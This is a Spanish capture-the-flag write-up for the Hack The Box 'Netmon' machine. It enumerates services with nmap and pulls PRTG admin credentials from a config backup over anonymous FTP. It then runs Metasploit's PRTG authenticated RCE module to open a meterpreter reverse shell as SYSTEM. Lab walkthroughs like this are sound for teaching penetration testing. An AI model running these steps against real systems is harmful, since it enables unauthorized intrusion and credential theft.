Netmon
Dificultad: Easy - OS: Windows
Enumeración de puertos/servicios
┌──(root㉿kali)-[/home/kali/Documents/HTB/NETMON]
└─# nmap -sCV --open -T4 -v -n 10.10.10.152
Resultado:
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_11-10-23 10:20AM <DIR> Windows
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-favicon: Unknown favicon MD5: 36B3EF286FA4BEFBB797A0966B456479
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -9m19s, deviation: 1s, median: -9m20s
| smb2-time:
| date: 2025-06-20T18:52:45
|_ start_date: 2025-06-20T18:45:45
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
En sintesis
| Puerto | Estado | Servicio | Protocolo |
|--------|--------|-------------------|-----------|
| 21 | open | ftp (Microsoft) | tcp |
| 80 | open | http (PRTG) | tcp |
| 135 | open | msrpc | tcp |
| 139 | open | netbios-ssn | tcp |
| 445 | open | microsoft-ds | tcp |
| 5985 | open | http (HTTPAPI 2.0)| tcp |
Algunos de los elementos que nos reveló el escaneo de nmap y que nos pueden ayudar para resolver el ctf son los siguientes:
Puerto 21 (FTP) abierto
Servicio:
Microsoft ftpd
Acceso anónimo habilitado (código FTP 230)
Sistema operativo identificado como
Windows_NT
El directorio raÃz del FTP expone múltiples carpetas del sistema (
inetpub
,Users
,Program Files
, etc.), lo cual sugiere posible acceso a archivos sensibles.
Puerto 80 (HTTP) abierto
Servicio:
Indy httpd 18.1.37.13946
Aplicación web: PRTG Network Monitor
Versión del software:
18.1.37.13946
, vulnerable al CVE-2018-9276Página de tÃtulo:
Welcome | PRTG Network Monitor (NETMON)
Soporta métodos HTTP:
GET
,HEAD
,POST
,OPTIONS
Reconocimiento del puerto 80
Al inspeccionar el puerto 80 nos vamos a encontrar con el panel de login de la aplicación PRTG Network Monitor, pero como no contamos con credenciales no podemos acceder, sin embargo buscando en internet los manuales de la aplicación encontramos la ruta donde se almacenan los datos por default del PRTG Monitor, entonces podemos inspeccionarla desde el FTP


Reconocimiento del puerto 21
Aprovechando que está habilitada la cuenta de anonymous vamos a enumerar recursos y buscar la ruta %programdata%\Paessler\PRTG Network Monitor
Nota: el manual de la aplicación ya nos tira una pista para localizar el archivo de configuración "The Windows ProgramData folder is hidden by default. To display it, you need to enable hidden items in the View options of your Windows system."
┌──(root㉿kali)-[/home/kali/Documents/HTB/NETMON]
└─# ftp anonymous@10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -la
229 Entering Extended Passive Mode (|||54497|)
150 Opening ASCII mode data connection.
11-20-16 10:46PM <DIR> $RECYCLE.BIN
02-03-19 12:18AM 1024 .rnd
11-20-16 09:59PM 389408 bootmgr
07-16-16 09:10AM 1 BOOTNXT
02-03-19 08:05AM <DIR> Documents and Settings
02-25-19 10:15PM <DIR> inetpub
06-20-25 02:45PM 738197504 pagefile.sys
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
12-15-21 10:40AM <DIR> ProgramData
02-03-19 08:05AM <DIR> Recovery
02-03-19 08:04AM <DIR> System Volume Information
02-03-19 08:08AM <DIR> Users
11-10-23 10:20AM <DIR> Windows
226 Transfer complete.
ftp> cd ProgramData
250 CWD command successful.
ftp> ls -la
229 Entering Extended Passive Mode (|||54498|)
150 Opening ASCII mode data connection.
02-03-19 08:05AM <DIR> Application Data
12-15-21 10:40AM <DIR> Corefig
02-03-19 08:05AM <DIR> Desktop
02-03-19 08:05AM <DIR> Documents
02-03-19 12:15AM <DIR> Licenses
11-20-16 10:36PM <DIR> Microsoft
02-03-19 12:18AM <DIR> Paessler
02-03-19 08:05AM <DIR> regid.1991-06.com.microsoft
07-16-16 09:18AM <DIR> SoftwareDistribution
02-03-19 08:05AM <DIR> Start Menu
02-03-19 12:15AM <DIR> TEMP
02-03-19 08:05AM <DIR> Templates
11-20-16 10:19PM <DIR> USOPrivate
11-20-16 10:19PM <DIR> USOShared
02-25-19 10:56PM <DIR> VMware
226 Transfer complete.
ftp> cd Paessler
250 CWD command successful.
ftp> ls -la
229 Entering Extended Passive Mode (|||54499|)
125 Data connection already open; Transfer starting.
06-20-25 06:15PM <DIR> PRTG Network Monitor
226 Transfer complete.
ftp> cd "PRTG Network Monitor"
250 CWD command successful.
ftp> ls -la
229 Entering Extended Passive Mode (|||54509|)
125 Data connection already open; Transfer starting.
06-20-25 03:27PM <DIR> Configuration Auto-Backups
06-20-25 02:46PM <DIR> Log Database
02-03-19 12:18AM <DIR> Logs (Debug)
02-03-19 12:18AM <DIR> Logs (Sensors)
02-03-19 12:18AM <DIR> Logs (System)
06-20-25 02:46PM <DIR> Logs (Web Server)
06-20-25 02:51PM <DIR> Monitoring Database
02-25-19 10:54PM 1189697 PRTG Configuration.dat
02-25-19 10:54PM 1189697 PRTG Configuration.old
07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
06-20-25 06:15PM 1717032 PRTG Graph Data Cache.dat
02-25-19 11:00PM <DIR> Report PDFs
02-03-19 12:18AM <DIR> System Information Database
02-03-19 12:40AM <DIR> Ticket Database
02-03-19 12:18AM <DIR> ToDo Database
226 Transfer complete.
ftp> get "PRTG Configuration.old.bak"
local: PRTG Configuration.old.bak remote: PRTG Configuration.old.bak
229 Entering Extended Passive Mode (|||54510|)
150 Opening ASCII mode data connection.
28% |**************** | 320 KiB 319.83 KiB/s 00:02 ETAftp: Reading from network: Interrupted system call
0% | | -1 0.00 KiB/s --:-- ETA
550 The specified network name is no longer available.
Efectivamente encontramos un backup de la aplicación en la ruta que nos indicaba el manual y al descargarlo vamos a ver que están filtradas las credenciales por defecto que usa el PRTG Monitor
┌──(root㉿kali)-[/home/kali/Documents/HTB/NETMON]
└─# grep prtg PRTG\ Configuration.old.bak -C 20
0
</cloudcredentials>
<clusterscangroup>
0
</clusterscangroup>
<commentgroup>
0
</commentgroup>
<comments>
<flags>
<encrypted/>
</flags>
</comments>
<dbauth>
0
</dbauth>
<dbcredentials>
0
</dbcredentials>
<dbpassword>
<!-- User: prtgadmin -->
PrTg@dmin2018
</dbpassword>
<dbtimeout>
60
</dbtimeout>
<depdelay>
0
</depdelay>
<dependencytype>
0
</dependencytype>
<discoveryschedule>
0
</discoveryschedule>
<discoverytype>
0
</discoverytype>
<discoverytypegroup>
0
</discoverytypegroup>
Post-authentication Remote Code Execution (RCE)
Ahora que tenemos estas credenciales podemos implementar el módulo exploit/windows/http/prtg_authenticated_rce
de msfconsole
┌──(root㉿kali)-[/home/kali/Documents/HTB/NETMON]
└─# msfconsole
Metasploit tip: Metasploit can be configured at startup, see msfconsole
--help to learn more
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v6.4.56-dev ]
+ -- --=[ 2505 exploits - 1291 auxiliary - 431 post ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search prtg
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/http/prtg_authenticated_rce_cve_2023_32781 2023-08-09 excellent Yes PRTG CVE-2023-32781 Authenticated RCE
1 \_ target: Windows_Fetch . . . .
2 \_ target: Windows_CMDStager . . . .
3 exploit/windows/http/prtg_authenticated_rce 2018-06-25 excellent Yes PRTG Network Monitor Authenticated RCE
Interact with a module by name or index. For example info 3, use 3 or use exploit/windows/http/prtg_authenticated_rce
msf6 > use 3
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/prtg_authenticated_rce) > options
Module options (exploit/windows/http/prtg_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ADMIN_PASSWORD prtgadmin yes The password for the specified username
ADMIN_USERNAME prtgadmin yes The username to authenticate as
Proxies no A proxy chain of format type:host:port[,type:host:port]
[...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/doc
s/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.60 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
View the full module info with the info, or info -d command.
msf6 exploit(windows/http/prtg_authenticated_rce) > set admin_password PrTg@dmin2019
admin_password => PrTg@dmin2019
msf6 exploit(windows/http/prtg_authenticated_rce) > set rhosts 10.10.10.152
rhosts => 10.10.10.152
msf6 exploit(windows/http/prtg_authenticated_rce) > set lhost 10.10.14.4
lhost => 10.10.14.4
msf6 exploit(windows/http/prtg_authenticated_rce) > exploit
[*] Started reverse TCP handler on 10.10.14.4:4444
[+] Successfully logged in with provided credentials
[+] Created malicious notification (objid=2019)
[+] Triggered malicious notification
[+] Deleted malicious notification
[*] Waiting for payload execution.. (30 sec. max)
[*] Sending stage (177734 bytes) to 10.10.10.152
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.152:55593) at 2025-06-20 19:49:03 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Last updated